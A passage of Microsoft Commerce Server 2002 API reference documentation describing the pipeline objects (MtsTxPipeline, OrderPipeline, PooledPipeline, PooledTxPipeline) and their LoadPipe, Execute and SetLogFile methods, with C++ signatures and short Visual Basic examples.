SetLogFile | Identifies the file in which to log pipeline events.


IPipeline::Execute Method [C++]

MtsTxPipeline.Execute Method [Visual Basic]

Use this method to run the stages in the pipeline configuration file, which was previously specified by the LoadPipe method.

Definition

[C++]
HRESULT IPipeline::Execute(
  long lMode,
  IDispatch* pdispOrder,
  IDispatch* pdispContext,
  long lFlags,
  long* pErrorLevel
);
[Visual Basic]
Function Execute(
  lMode As Long,
  pdispOrder As Object,
  pdispContext As Object,
  lFlags As Long
) As Long

Parameters

lMode [C++]
[in] A long indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 2.0 sites. For Commerce Server 2000 and later, use a value of one (1). A value of zero (0) will prevent the pipeline from executing.
lMode [Visual Basic]
A long indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 2.0 sites. For Commerce Server 2000 and later, use a value of one (1). A value of zero (0) will prevent the pipeline from executing.
pdispOrder [C++]
[in] A pointer to the IDispatch interface of a Dictionary object. The Order dictionary that will be used by the pipeline, usually an OrderForm object.
pdispOrder [Visual Basic]
A reference to a Dictionary object. The Order dictionary that will be used by the pipeline, usually an OrderForm object.
pdispContext [C++]
[in] A pointer to the IDispatch interface of a Dictionary object. The Context dictionary that will be used by the pipeline.
pdispContext [Visual Basic]
A reference to a Dictionary object. The Context dictionary that will be used by the pipeline.
lFlags [C++]
[in] An unused long integer parameter. Must be set to zero (0).
lFlags [Visual Basic]
An unused Long parameter. Must be set to zero (0).
pErrorLevel [C++]
[out,retval] A pointer to a long that returns the error level.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. For more details, see the Error Values section.

[Visual Basic] If this method completes successfully, it returns a Long indicating whether there were warnings or errors detected by components in the pipeline. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++] In addition, the pErrorLevel parameter is set to one of the following three values:

[Visual Basic] In addition, the method returns one of the following three values:

Value | Description
1 | Success. The pipeline ran successfully.
2 | Warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3+ | Failure. A pipeline component failed to run.

Remarks

[C++] The pErrorLevel parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pMtsTxPipeline is a Commerce.MtsTxPipeline object
' dOrder and dContext are Commerce.Dictionary objects

errVal = pMtsTxPipeline.Execute(1, dOrder, dContext, 0)

See Also

[C++] MtsTxPipeline Object

[Visual Basic] MtsTxPipeline Object

[C++] IPipeline::LoadPipe

[Visual Basic] MtsTxPipeline.LoadPipe

[C++] IPipeline::SetLogFile

[Visual Basic] MtsTxPipeline.SetLogFile


IPipeline::LoadPipe Method [C++]

MtsTxPipeline.LoadPipe Method [Visual Basic]

Use this method to load a pipeline configuration file (.pcf) into the pipeline.

Definition

[C++]
HRESULT IPipeline::LoadPipe(
  BSTR pszFileName
);
[Visual Basic]
Sub LoadPipe(
  pszFileName As String
)

Parameters

pszFileName [C++]
[in] A BSTR containing the pipeline configuration file (.pcf) name.
pszFileName [Visual Basic]
A String containing the pipeline configuration file (.pcf) name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The LoadPipe method must be called to initialize all pipelines.

The LoadPipe method fails if you attempt to load a configuration file designated for non-transacted pipelines.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pMtsTxPipeline is a Commerce.MtsTxPipeline object

errVal = pMtsTxPipeline.LoadPipe("CustomShip.pcf")

See Also

[C++] MtsTxPipeline Object

[Visual Basic] MtsTxPipeline Object

[C++] IPipeline::Execute

[Visual Basic] MtsTxPipeline.Execute

[C++] IPipeline::SetLogFile

[Visual Basic] MtsTxPipeline.SetLogFile


IPipeline::SetLogFile Method [C++]

MtsTxPipeline.SetLogFile Method [Visual Basic]

Use this method to identify the file in which to log the operations of the pipeline component.

Note

  • This method is for use by developers who want to analyze pipeline configuration file information. Logging should never be used in a production environment: it degrades performance and may compromise the security of credit card numbers in non-set transactions.

Definition

[C++]
HRESULT IPipeline::SetLogFile(
  BSTR pszFileName
);
[Visual Basic]
Sub SetLogFile(
  pszFileName As String
)

Parameters

pszFileName [C++]
[in] A BSTR containing the name of the file in which to log events.
pszFileName [Visual Basic]
A String containing the name of the file in which to log events.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

When logging is set, the pipeline logs the pipeline components that are called and the error values each component returns. The pipeline also logs all Dictionary and SimpleList object read and write operations.

Calling this method with an empty string turns off logging.

The SetLogFile method should be called immediately before running a pipeline. The SetLogFile method is also exposed on the OrderGroup object as the LogFile property and should be called before calling its RunPipe method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pMtsPipeline is a Commerce.MtsTxPipeline object

errVal = pMtsTxPipeline.SetLogFile("CustomShipping.log")

See Also

[C++] MtsTxPipeline Object

[Visual Basic] MtsTxPipeline Object

[C++] IPipeline::LoadPipe

[Visual Basic] MtsTxPipeline.LoadPipe

[C++] IPipeline::Execute

[Visual Basic] MtsTxPipeline.Execute


OrderPipeline Object [C++]

OrderPipeline Object [Visual Basic]

Use this object to run a Microsoft Commerce Server 2002 Content Selection pipeline. To create an Order Processing pipeline (OPP), use a PooledPipeline, PooledTxPipeline, MtxPipeline, or MtsTxPipeline object.

ProgID: | Commerce.OrderPipeline (Externally creatable)
COM Class Name: | COrderPipeline
Type Library Name: | Microsoft Commerce 2002 Order Pipeline Type Library
DLL Name: | pipeline.dll
Threading Model: | Both
[C++]
COM Interface Name: | IOrderPipeline
Interface ID Constant: | IID_IOrderPipeline
Header File: | pipeline.h, mspu_guids.h
[C++]

In C++, use the IOrderPipeline interface to access the properties and methods of the OrderPipeline object.

Methods

[C++]
Method | Description
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
OrderExecute | Runs the components in the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.
[Visual Basic]
Method | Description
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
OrderExecute | Runs the components in the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.

Remarks

The OrderPipeline should be used in Content Selection pipelines because Content Selection pipelines do not require transactions and because the OrderPipeline object is fully re-entrant by multiple threads. Other objects, such as MtsPipeline and MtsTxPipeline, must be used once, destroyed and recreated by each thread due to the rules of COM+ transactions.

The OrderPipeline object can create and run Content Selection pipelines or Order Processing pipelines (OPP); however, it is recommended that you use the OrderPipeline object only to create and run Content Selection pipelines. The OrderPipeline object is the only pipeline object that is not registered under COM+ Services.

The OrderPipeline object is usually created in the file Global.asa and put into an application collection.


IOrderPipeline Methods [C++]

OrderPipeline Methods [Visual Basic]

Methods

[C++]
Method | Description
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
OrderExecute | Runs the components in the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.
[Visual Basic]
Method | Description
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
OrderExecute | Runs the components in the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.


IOrderPipeline::LoadPipe Method [C++]

OrderPipeline.LoadPipe Method [Visual Basic]

Use this method to load a pipeline configuration file (.pcf) into the pipeline.

Definition

[C++]
HRESULT IOrderPipeline::LoadPipe(
  BSTR pszFileName
);
[Visual Basic]
Sub LoadPipe(
  pszFileName As String
)

Parameters

pszFileName [C++]
[in] A BSTR containing the pipeline configuration file name.
pszFileName [Visual Basic]
A String containing the pipeline configuration file name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The LoadPipe method must be called to initialize all pipelines.

The LoadPipe method fails if you attempt to load a pipeline configuration file designated for transactions (for use with the MtsTxPipeline or PooledTxPipeline objects).

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pOrdPipeline is a Commerce.OrderPipeline object.

errVal = pOrdPipeline.Load("CustomShip.pcf")

See Also

[C++] OrderPipeline Object

[Visual Basic] OrderPipeline Object

[C++] IOrderPipeline::OrderExecute

[Visual Basic] OrderPipeline.OrderExecute

[C++] IOrderPipeline::SetLogFile

[Visual Basic] OrderPipeline.SetLogFile


IOrderPipeline::OrderExecute Method [C++]

OrderPipeline.OrderExecute Method [Visual Basic]

Use this method to run the stages in the pipeline configuration file, which was previously specified by the LoadPipe method.

Definition

[C++]
HRESULT IOrderPipeline::OrderExecute(
  long lMode,
  IDispatch* pdispOrder,
  IDispatch* pdispContext,
  long lFlags,
  long* pErrorLevel
);
[Visual Basic]
Function OrderExecute(
  lMode As Long,
  pdispOrder As IDispatch,
  pdispContext As IDispatch,
  lFlags As Long
) As Long

Parameters

lMode [C++]
[in] A long indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 2.0 sites. For Commerce Server 2002 and later, use a value of one (1). A value of zero (0) will prevent the pipeline from executing.
lMode [Visual Basic]
A long indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 2.0 sites. For Commerce Server 2002 and later, use a value of one (1). A value of zero (0) will prevent the pipeline from executing.
pdispOrder [C++]
[in] A pointer to the IDispatch interface of a Dictionary object, usually an OrderForm object. The Order dictionary that will be used by the pipeline.
pdispOrder [Visual Basic]
A reference to a Dictionary object, usually an OrderForm object. The Order dictionary that will be used by the pipeline.
pdispContext [C++]
[in] A pointer to the IDispatch interface of a Dictionary object. The Context dictionary that will be used by the pipeline.
pdispContext [Visual Basic]
A reference to a Dictionary object. The Context dictionary that will be used by the pipeline.
lFlags [C++]
[in] An unused long integer parameter. Must be set to zero (0).
lFlags [Visual Basic]
An unused Long parameter. Must be set to zero (0).
pErrorLevel [C++]
[out,retval] A pointer to an integer that returns the error level.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Long indicating whether there were warnings or errors detected by components in the pipeline. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++] In addition, the pErrorLevel parameter is set to one of the following three values:

[Visual Basic] In addition, the method returns one of the following three values:

Value | Description
1 | The pipeline ran successfully.
2 | A pipeline component raised a warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3 | A pipeline component failed to run.

Remarks

[C++]

The pErrorLevel parameter points to valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pOrdPipeline is a Commerce.OrderPipeline object.
' lMode is a Long.
' dOrder and dContext are Commerce.Dictionary objects.

errVal = pOrdPipeline.Execute(l, dOrder, dContext, 0)

See Also

[C++] OrderPipeline Object

[Visual Basic] OrderPipeline Object

[C++] IOrderPipeline::LoadPipe

[Visual Basic] OrderPipeline.LoadPipe

[C++] IOrderPipeline::SetLogFile

[Visual Basic] OrderPipeline.SetLogFile


IOrderPipeline::SetLogFile Method [C++]

OrderPipeline.SetLogFile Method [Visual Basic]

Use this method to identify the file in which to log the operations of the pipeline component.

Definition

[C++]
HRESULT IOrderPipeline::SetLogFile(
  BSTR pszFileName
);
[Visual Basic]
Sub SetLogFile(
  pszFileName As String
)

Parameters

pszFileName [C++]
[in] A BSTR containing the name of the file in which to log events.
pszFileName [Visual Basic]
A String containing the name of the file in which to log events.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method is for use by developers who want to analyze pipeline configuration file information. Logging should never be used in a production environment: it degrades performance and may compromise the security of credit card numbers in non-set transactions.

When logging is set, the pipeline logs the pipeline components that are called and the error values each component returns. The pipeline also logs all Dictionary and SimpleList object read and write operations.

Calling this method with an empty string turns off logging.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pOrdPipeline is a Commerce.OrderPipeline object.

errVal = pOrdPipeline.SetLogFile("CustomShipping.log")

See Also

[C++] OrderPipeline Object

[Visual Basic] OrderPipeline Object

[C++] IOrderPipeline::LoadPipe

[Visual Basic] OrderPipeline.LoadPipe

[C++] IOrderPipeline::OrderExecute

[Visual Basic] OrderPipeline.OrderExecute


PooledPipeline Object [C++]

PooledPipeline Object [Visual Basic]

Use this object to run a Microsoft Commerce Server 2002 pipeline configuration file. The pipeline may be an Order Processing pipeline (OPP).

The PooledPipeline object uses COM+ object pooling to greatly increase the loading speed of pipelines, where the contained pipeline components support object pooling. For more information about pooled pipelines, see Pooled Pipelines.

ProgID: | Commerce.PooledPipeline (Externally creatable)
COM Class Name: | CPooledPipeline
Type Library Name: | Microsoft Commerce 2002 Order Pipeline Type Library
DLL Name: | pipeline.dll
Threading Model: | Both
[C++]
COM Interface Name: | IPipeline
Interface ID Constant: | IID_IPipeline
Header File: | pipeline.h, mspu_guids.h
[C++]

In C++, use the IPipeline interface to access the properties and methods of the PooledPipeline object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
Execute | Executes the components in the pipeline as configured by the LoadPipe method.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.
[Visual Basic]
Method | Description
Execute | Executes the components in the pipeline.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.

Remarks

The PooledPipeline object should be created on each Active Server Pages (ASP) page in which it is used rather that being held in Application or Sessions scope.

In general, use the PooledPipeline object only in production Web sites; use the MtsPipeline object when developing the site. If you use the PooledPipeline object during development, you will need to stop and restart Internet Information Services (IIS).

When you create custom poolable pipeline components, you must add the Component Object Model (COM) category, CATID_MSCSPIPELINE_POOLABLE, to the component to make it poolable. For more information about making a pipeline poolable, see Registering the ATL Component.

The PooledPipeline object is registered under COM+ as "transactions not supported." Use this pipeline where transactions are not needed. For more information about transactions and pipelines, see Pipeline Basics.


IPipeline Methods [C++]

PooledPipeline Methods [Visual Basic]

Methods

[C++]
Method | Description
Execute | Executes the components in the pipeline as configured by the LoadPipe method.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.
[Visual Basic]
Method | Description
Execute | Executes the components in the pipeline as configured by the LoadPipe method.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.


IPipeline::Execute Method [C++]

PooledPipeline.Execute Method [Visual Basic]

Use this method to run the stages in the pipeline configuration file, which was previously specified by the LoadPipe method.

Definition

[C++]
HRESULT IPipeline::Execute(
  long lMode,
  IDispatch* pdispOrder,
  IDispatch* pdispContext,
  long lFlags,
  long* pErrorLevel
);
[Visual Basic]
Function Execute(
  lMode As Long,
  pdispOrder As Object,
  pdispContext As Object,
  lFlags As Long
) As Long

Parameters

lMode [C++]
[in] A long indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 2.0 sites. For Commerce Server 2002 and later, use a value of one (1). A value of zero (0) will prevent the pipeline from executing.
lMode [Visual Basic]
A Long indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 2.0 sites. For Commerce Server 2002 and later, use a value of one (1). A value of zero (0) will prevent the pipeline from executing.
pdispOrder [C++]
[in] A pointer to the IDispatch interface of the business object (typically a dictionary object or an order form object).
pdispOrder [Visual Basic]
A reference to a business object (typically a dictionary object or an order form object).
pdispContext [C++]
[in] A pointer to the IDispatch interface of the secondary business object (typically a context dictionary).
pdispContext [Visual Basic]
A reference to a secondary business object (typically a context dictionary).
lFlags [C++]
[in] An unused long integer parameter. Must be set to zero (0).
lFlags [Visual Basic]
An unused Long parameter. Must be set to zero (0).
pErrorLevel [C++]
[out,retval] A pointer to a long that returns the error level.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Long indicating whether there were warnings or errors detected by components in the pipeline. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++] In addition, the pErrorLevel parameter is set to one of the following three values:

[Visual Basic] In addition, the method returns one of the following three values:

Value | Description
1 | Success. The pipeline ran successfully.
2 | Warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3+ | Failure. A pipeline component failed to run.

Remarks

[C++]

The pErrorLevel parameter points to valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' dOrder, dContext are Commerce.Dictionary objects.
' pPooledPipeline is a Commerce.PooledPipeline object.

errVal = pPooledPipeline.Execute(1, dOrder, dContext, 0)

See Also

[C++] PooledPipeline Object

[Visual Basic] PooledPipeline Object

[C++] IPipeline::LoadPipe

[Visual Basic] PooledPipeline.LoadPipe

[C++] IPipeline::SetLogFile

[Visual Basic] PooledPipeline.SetLogFile


IPipeline::LoadPipe Method [C++]

PooledPipeline.LoadPipe Method [Visual Basic]

Use this method to load a pipeline configuration file (.pcf) into a pipeline.

Definition

[C++]
HRESULT IPipeline::LoadPipe(
  BSTR pszFileName
);
[Visual Basic]
Sub LoadPipe(
  pszFileName As String
)

Parameters

pszFileName [C++]
[in] A BSTR containing the pipeline configuration file (.pcf) name.
pszFileName [Visual Basic]
A String containing the pipeline configuration file (.pcf) name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The LoadPipe method must be called to initialize all pipelines.

The LoadPipe method fails if you attempt to load a pipeline configuration file that is designated to be used for transactions (for use in MtsTxPipeline or PooledTxPipeline).

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pPooledPipeline is a Commerce.PooledPipeline object.

errVal = pPooledPipeline.LoadPipe("CustomShip.pcf")

See Also

[C++] PooledPipeline Object

[Visual Basic] PooledPipeline Object

[C++] IPipeline::Execute

[Visual Basic] PooledPipeline.Execute

[C++] IPipeline::SetLogFile

[Visual Basic] PooledPipeline.SetLogFile


IPipeline::SetLogFile Method [C++]

PooledPipeline.SetLogFile Method [Visual Basic]

Use this method to identify the file in which to log the operations of the pipeline component.

Definition

[C++]
HRESULT IPipeline::SetLogFile(
  BSTR pszFileName
);
[Visual Basic]
Sub SetLogFile(
  pszFileName As String
)

Parameters

pszFileName [C++]
[in] A BSTR containing the name of the file in which to log events.
pszFileName [Visual Basic]
A String containing the name of the file in which to log events.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method is for use by developers who want to analyze pipeline configuration file information. Logging should never be enabled in a production environment: it degrades performance and compromises the security of credit card numbers in non-set transactions. The file system must be configured to allow the process running the pipeline to have write access to the specified path.

When logging is set, the pipeline logs the pipeline components that are called and the error values that each component returns. The pipeline also logs all Dictionary and SimpleList object read and write operations.

Calling this method with an empty string turns off logging.

The SetLogFile method should be called immediately before running a pipeline.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pPooledPipeline is a Commerce.PooledPipeline object.

errVal = pPooledPipeline.SetLogFile("CustomShipping.log")

See Also

[C++] PooledPipeline Object

[Visual Basic] PooledPipeline Object

[C++] IPipeline::Execute

[Visual Basic] PooledPipeline.Execute

[C++] IPipeline::LoadPipe

[Visual Basic] PooledPipeline.LoadPipe


PooledTxPipeline Object [C++]

PooledTxPipeline Object [Visual Basic]

Use this object to execute a Microsoft Commerce Server 2002 pipeline. The pipeline may be an Order Processing pipeline (OPP). Use in place of the PooledPipeline object where you need transactions.

The PooledTxPipeline object uses COM+ object pooling to greatly increase the loading speed of pipelines. For more information about pooled pipelines, see Pooled Pipelines.

ProgID: | Commerce.PooledTxPipeline (Externally creatable)
COM Class Name: | CPooledTxPipeline
Type Library Name: | Microsoft Commerce 2002 Order Pipeline Type Library
DLL Name: | pipeline.dll
Threading Model: | Both
[C++]
COM Interface Name: | IPipeline
Interface ID Constant: | IID_IPipeline
Header File: | pipeline.h, mspu_guids.h
[C++]

In C++, use the IPipeline interface to access the properties and methods of the PooledTxPipeline object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
Execute | Runs the components in the pipeline as configured by the LoadPipe method.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.
[Visual Basic]
Method | Description
Execute | Runs the components in the pipeline as configured by the LoadPipe method.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.

Remarks

The PooledTxPipeline object is registered under COM+ as "transactions required." Use this pipeline where transactions are needed. For more information about transactions and pipelines, see Pipeline Basics.

The Microsoft Distributed Transaction Coordinator (MSDTC) service must be running in order to use the PooledTxPipeline object.

To verify that the Distributed Transaction Coordinator service is running

  1. Click Start, point to Programs, point to Administrative Tools, and then click Services.
  2. Scroll to Distributed Transaction Coordinator and verify that the Status is Started.

In general, use the PooledTxPipeline object only in production Web sites; use the MtsPipeline object when developing the site. If you use the PooledTxPipeline object during development, you will need to stop and restart Internet Information Services (IIS) in order to force the .pcf files to be re-read when you change them.

The PooledPipeline object should be created on each ASP page in which it is used rather than being held in Application or Session scope.

When you create custom poolable pipeline components, you must add the Component Object Model (COM) category, CATID_MSCSPIPELINE_POOLABLE, to the component to make it poolable. For more information about making a pipeline poolable, see Registering the ATL Component.


IPipeline Methods [C++]

PooledTxtPipeline Methods [Visual Basic]

Methods

[C++]
Method | Description
Execute | Runs the components in the pipeline as configured by the LoadPipe method.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.
[Visual Basic]
Method | Description
Execute | Runs the components in the pipeline as configured by the LoadPipe method.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.


IPipeline::Execute Method [C++]

PooledTxPipeline.Execute Method [Visual Basic]

Use this method to run the stages in the pipeline configuration file, which was previously specified by the LoadPipe method.

Definition

[C++]
HRESULT IPipeline::Execute(
  long lMode,
  IDispatch* pdispOrder,
  IDispatch* pdispContext,
  long lFlags,
  long* pErrorLevel
);
[Visual Basic]
Function Execute(
  lMode As Long,
  pdispOrder As Object,
  pdispContext As Object,
  lFlags As Long
) As Long

Parameters

lMode [C++]
[in] A long indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 2.0 sites. For Commerce Server 2002 and later, use a value of one (1). A value of zero (0) will prevent the pipeline from executing.
lMode [Visual Basic]
A Long indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 2.0 sites. For Commerce Server 2002 and later, use a value of one (1). A value of zero (0) will prevent the pipeline from executing.
pdispOrder [C++]
[in] A pointer to the IDispatch interface of the business object (typically a dictionary object or an order form object).
pdispOrder [Visual Basic]
A reference to a business object (typically a dictionary object or an order form object). The Order dictionary that will be used by the pipeline, usually an OrderForm object.
pdispContext [C++]
[in] A pointer to the IDispatch interface of the secondary business object (typically a context dictionary object).
pdispContext [Visual Basic]
A reference to a secondary business object (typically a context dictionary object).
lFlags [C++]
[in] An unused long integer parameter. Must be set to zero (0).
lFlags [Visual Basic]
An unused Long parameter. Must be set to zero (0).
pErrorLevel [C++]
[out,retval] A pointer to a long that returns the warning level.

Return Values

[C++] This method returns an HRESULT indicating whether or not it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Long indicating whether components in the pipeline detected warnings or errors. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++] In addition, the pErrorLevel parameter is set to one of the following three values:

[Visual Basic] In addition, the method returns one of the following three values:

Value | Description
1 | Success. The pipeline ran successfully.
2 | Warning. A pipeline component raised a warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3+ | Failure. A pipeline component failed to run.

Remarks

[C++]

The pErrorLevel parameter points to valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' dOrder, dContext are Commerce.Dictionary objects
' pPooledTxPipeline is a Commerce.PooledTxPipeline object

errVal = pPooledTxPipeline.Execute(1, dOrder, dContext, 0)

See Also

[C++] PooledTxPipeline Object

[Visual Basic] PooledTxPipeline Object

[C++] IPipeline::LoadPipe

[Visual Basic] PooledTxPipeline.LoadPipe

[C++] IPipeline::SetLogFile

[Visual Basic] PooledTxPipeline.SetLogFile


IPipeline::LoadPipe Method [C++]

PooledTxPipeline.LoadPipe Method [Visual Basic]

Use this method to load a pipeline configuration file (.pcf) into the pipeline.

Definition

[C++]
HRESULT IPipeline::LoadPipe(
  BSTR pszFileName
);
[Visual Basic]
Sub LoadPipe(
  pszFileName As String
)

Parameters

pszFileName [C++]
[in] A BSTR containing the pipeline configuration file (.pcf) name.
pszFileName [Visual Basic]
A String containing the pipeline configuration file (.pcf) name.

Return Values

[C++] This method returns an HRESULT indicating whether or not it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

